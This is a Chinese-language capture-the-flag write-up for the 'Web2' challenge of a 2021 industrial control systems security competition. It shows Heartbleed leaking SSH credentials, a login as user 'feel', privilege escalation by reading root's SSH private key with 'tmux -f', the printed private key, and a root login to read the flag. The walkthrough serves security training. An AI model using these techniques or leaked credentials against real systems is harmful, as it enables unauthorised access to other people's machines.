



# Web2

📅 2021-09-05 | 📁 Challenge , 2021 , 第七届全国工控系统信息安全攻防竞赛 , 三类

Challenge | 2021 | 第七届全国工控系统信息安全攻防竞赛 | 三类 | Web2

[点击此处](#)获得更好的阅读体验

## WriteUp来源

来自 毕方安全实验室 战队

## 题目描述

下载vpn以访问web，禁止使用爆破攻击，禁止使用容器逃逸类内核攻击

## 提示信息

- heartbleed
- 找到用户名密码通过ssh登录
- 多次尝试攻击，以寻找登录凭据
- 查看web源码
- ssh用户feel，密码以abc结尾
- 提权：tmux, id\_rsa

## 题目考点

- OpenSSL心脏滴血漏洞
- 源码审计
- Linux提权

## 解题思路

根据心脏滴血拿到登陆信息-用户名 `feel` 密码 `33890101abc`

```
.....t...v...%T...1.I...f.....".!9.8.....5.....
encoded....user=passwd&password=33890101abcn....h.h79.;.+i.1
..... repeated 15869 times .....
.....
8.T.~..H.P.{y....CK.,!6..;..vw...H.C...q....%e..{.XT.jq.R.
.....
.....a.....YU...[..v....[..v....[..v....1..
E. ....(==9".....!.....h[...v...h[...v... ..0.
.....\..v....\..v...I....X.
...@g..YU..1.....X[...v...X[...v...
...v...`..v...`..v...Pk..YU..Pk..YU.....
ted 745 times .....
.....
.jRX.G.U.3?g...!V...na.....Pf,8.i...s...m.....q.....
.v...0...YU.....!.....YU.....U..h7.....1H.....hb..v...hb..v....t..YU..
..... repeated 4129 times .....
.....6.....Xb..v...Xb..v...0...YU..0...YU.....
..... repeated 3440 times .....
```

```
Permission denied, please try again.
passwd@172.54.0.121's password:
Permission denied, please try again.
passwd@172.54.0.121's password:
passwd@172.54.0.121: Permission denied (publickey,password).
root@kali:~/555# ssh feel@172.54.0.121
feel@172.54.0.121's password:
Permission denied, please try again.
feel@172.54.0.121's password:
Linux 733f52aa5a63 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul  8 10:35:36 2021 from 172.17.0.1
feel@733f52aa5a63:~$ ls
feel@733f52aa5a63:~$
```

通过history知道了tmux下存在id\_rsa文件

```
2 echo " " >.bash_history
3 ls
4 ls -la
5 exit
6 id
7 exit
8 find / -type f -perm /6000 2>/dev/null
9 tmux -f /root/.ssh/id_rsa
10 exit
11 exit
12 exit
13 tmux -f /root/flag.txt
14 cd /var/www/htmls
15 ls
16 rm image.jpg
17 wget 172.17.0.1/image.jpg
18 mkdir feel
19 exit
20 ls
21 cd /
22 ls
23 history
24 cd root/
25 ls
26 cd /var/www/
27 cd html
```

通过tmux读取了id\_rsa文件

```
1 LFILE=/root/.ssh/id_rsa
2 tmux -f $LFILE
```

得到登陆的私钥为

```
1 -----BEGIN RSA PRIVATE KEY-----MIIIEowIBAAKCAQEA37wtp4z7mWmF+6gWJ8f81disoZhP5fdO+V
2 swvPiiVv0datEKywwpIVvLG7k4j/4c1oLssW0AviK2eTvPcfrsae1iXMN7Q8SlCS
```

```

3  POfUnnpPsmUd88ZMVsdJ4uK5ajhycnEP+iMpM/hgb5crKwwMPimDi13J1YXeKJa
4  Iq8kf4J4HYxiqsQuPG1K3RNe0/jUwW470HHPXR9yhRQrs5YxZGvU2Wo6wxsdDbX
5  ZEODCM/oG0taa3PWfmAZCn9zbogg+EQSkfN6VRHq9UwTU0L6MqxFBCY64D2NQskwX
6  MtZkbjEw0C7YdjZhAOfpmDos/8Tg7E752sn6PwIDAQABAOIBAFDhLin1B7oI9L3m
7  65KCotwEbIs6dpiFa8uAaZXo3TS5g9UsvYQh20ZgKXpXUYFZbs6/JK8t4iv0EUUt
8  nHMnE5tYaY4rkRqexaLSAOoxzK86ULySizFuOT82KbMPQjdT6ao6jckbhu65BaRU
9  s67KaZyysGw8GqhTkYcdfgU+7rSNzI3FAxiRqv2uLT6bRU82VBFeQLqUACK6qTzR
10 y7wjf4zeg27+o/v3Zqi7CoLlgVNdw11I80Qxn/0r9rnDqr2zuiTVhLIEU2nDoAM
11 k80F5g77W11FhCrKEQtSTQpm2fJtOrJJ1Hhq8ykPmwp1kNmZvamLi4tvpvIB8JWy
12 B23b0AECgYEA7pzIoAlUC6i1NB0c98ND6dBYI/9qYnuhbge7CZzK9s36NYY+mfJb
13 S1/+s85jY0uttKFs4sYjgqRnNz1Ue83FMDY+LIbYjPU2Ky6DDWPDgwlpDN6MRWU6
14 N10oGM93KWxvokRn2EUUVQ2myGeTNoJgyGbuTJth11PuAJuejwMsKqSECgYEAzXM3
15 Y2gu94zvcJsYhNntcaHG2ke3PYpn3MkeFIxSowDPEfsC0bfBwHKULiv2sNLI3maB
16 ScWXXQv2mjiaVSBxcZuSGLSczNGtaTzRUGyfe2WsYJ2ZsZmN159EYawlBUGESAii
17 L4Sy0WWLL4nbfZJzV4S0AYy1LOJyk1NeTS/7V18CgYEA5rrclUPv7UYqWw0Nv9cl
18 eJZqZIS6znhV5Ru81NL0wCr044ToS9y6wuwUUrIkeQRA+AWQUMjf1Zg75oJ7iyuy
19 nagV/uB1zffffZWoYd34ctD0JQ9R/NytnW9nMyBD1XSzp1bLn540FvqYZ/kftPnlt
20 GMz0wf9GwWxHKdeb1PWBXYECgYBEXYKg4Zo/ZfaHUhTmoF4S4fJ50EN5hwTow0Pv
21 MoKNG0fMg+p8PtmKYJZw1+KPFJUi7Jk5IzdNqp101EEG8rTNSSdk+6LxxRQfYM2G
22 JZ8sQLkLrWXnY2F/zs/CcLZD1Pmfvr+5cD6e0twGBam0L3eSN9nJSjk/plraC3Pl
23 24GXoQKBgGbMnAvfpycB0rdvS9q0voi2E/PP06bjqG/gMtGGq905R79kYSvhfb6e
24 /mcmqHH7icTdkT9Y93JP9SME2PHEFW9Q02X9tirLQj5EtU1A6RFKCFdgpRC24pqh
25 tFXdSeJ9ZzX/tbeoEvmVLholvkqwenNuMUBsLmyj3tuPgmNZhCSH
26 -----END RSA PRIVATE KEY-----

```

使用该私钥以root用户身份登陆即可获得flag

```

File Actions Edit View Help
Y.....(z..YU..B...
YU.....YU..x$. ].....
..YU....._{..YU.....
.....
100% complete)
exploit
onse #1
.
server Hello (2)
lo Version:
lo random data:
lo Session ID length: 32
lo Session ID:
8
ertificate Data (11)
es length: 815
h: 818
e #1:
ertificate #1: Length: 812
ertificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name CN=localhost,O=Dis,L=Springfield,ST=Denial,C=US>

root@kali:~/555# ls
111.php  555.py          encodeFile.txt  _jojo.pcapng.extracted  xor_rce.txt
1.py     dio.pcapng       error.pcapng    rrpc_015             | 门卡 191220.dump
1.txt    _dio.pcapng.extracted  hills.jpg       test                  | 门卡 200224.dump
555.php  dump.rar         jojo.pcapng     tttt.py               | 门卡 210125.dump
root@kali:~/555# ls test
test
root@kali:~/555# ll test
bash: ll: command not found
root@kali:~/555# ls -l test
-rw-r--r-- 1 root root 1675 Sep  4 04:41 test
root@kali:~/555# sudo chmod 600 test
root@kali:~/555# ssh root@172.54.0.121 -i test
Linux 733f52aa5a63 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jul  7 08:48:14 2021 from 172.17.0.1
root@733f52aa5a63:~# ls
flag.txt  s.py
root@733f52aa5a63:~# cat flag.txt
congratulations! RIMPYgK4YcQKHEOLKH5S
root@733f52aa5a63:~# Connection to 172.54.0.121 closed by remote host.
Connection to 172.54.0.121 closed.
root@kali:~/555#

```

# Flag



```
1 flag{RIMPYGK4YCQKHEOLKH5S}
```

**本文作者：**CTFHub

**本文链接：**<https://writeup.ctfhub.com/Challenge/2021/第七届全国工控系统信息安全攻防竞赛/三类/7pHaFjAWKzaCF4Ux77KRxF.html>

**版权声明：** 本博客所有文章除特别声明外，均采用 [©BY-NC-SA](#) 许可协议。转载请注明出处！

[# Challenge](#) [# 2021](#) [# 第七届全国工控系统信息安全攻防竞赛](#) [# 三类](#)

[← easy\\_re](#)

[CRCcode >](#)

© 2019 – 2022 ❤ CTFHub

由 [Hexo](#) & [NexT.Gemini](#) 强力驱动